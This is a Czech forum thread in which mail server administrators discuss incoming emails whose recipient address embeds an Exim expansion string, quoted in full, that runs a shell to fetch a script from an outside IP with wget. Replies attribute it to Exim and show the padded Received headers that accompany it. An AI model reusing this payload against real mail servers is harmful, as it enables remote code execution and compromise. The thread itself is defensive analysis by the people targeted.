Dotaz: Mail attack

[alkoholik]

Obcas mi prijde email adresovany velice zvlastnim zpusobem. V Delivered-To je neco jako:
root+${run{x2Fbinx2Fsht-ctx22wgetx20199.204.214.40x2fsbzx2f10.20.30.40x22}}@moje.domena
Je jasne, ze by se mel nekde pustit skript stazeny pres wget. Nemate nekdo tuseni, co presne se snazi prostrelit?
Misto 10.20.30.40 bylo moje skutecne ip a domenu jsem taky zmenil.

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Odpovědi

[Pavel 'TIGER' Růžička]

Vypadá to na novější "aktualizovanou verzi" pro získání údajů nad kontrolou domény.

[alkoholik]

Me spis zajima, ktery mail daemon/klient by jako mel mit ten super napad, ze pusti shell s wgetem. Exim? Postfix? Procmail? Nejaky soft na analyzovani logu?

[alkoholik]

Exim. Všimni si, že (minimálně v exempláři který přišel mně) je tam hromada Received: hlaviček.

[alkoholik]

Jo, muj vypada skoro stejne.

[madmucho]

Vypadá to že to pouští patrně i filtr amavisu , našel jsem toto na svém serveru také,

neco to stahuje nedotahne, poslal mi to postfix jako že padlo na špatné hlavičky do karantény.

Received: 1 Received: 2 Received: 3 Received: 4 Received: 5 Received: 6 Received: 7 Received: 8 Received: 9 Received: 10 Received: 11 Received: 12 Received: 13 Received: 14 Received: 15 Received: 16 Received: 17 Received: 18 Received: 19 Received: 20 Received: 21 Received: 22 Received: 23 Received: 24 Received: 25 Received: 26 Received: 27 Received: 28 Received: 29 Received: 30 Received: 31 Message-Id: <20190711125952.3895A9F13B@bla bla> Date: Thu, 11 Jul 2019 14:59:52 +0200 (CEST) From: root@sab.com